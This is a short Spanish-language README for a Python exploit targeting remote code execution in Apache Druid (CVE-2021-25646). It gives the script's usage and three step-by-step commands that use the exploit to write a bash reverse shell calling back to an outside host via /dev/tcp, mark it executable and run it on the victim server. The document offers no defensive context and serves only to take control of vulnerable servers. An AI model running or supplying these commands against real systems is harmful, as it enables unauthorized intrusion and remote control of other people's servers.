
Exploit en Python para la ejecución remota de código en Apache Druid (CVE-2021-25646) con capacidades de shell inversa y ejecución de comandos.
uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
La reverse shell es la siguiente:
Escribe el script de la reverse shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Otorga permisos de ejecución al script
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Ejecuta la shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"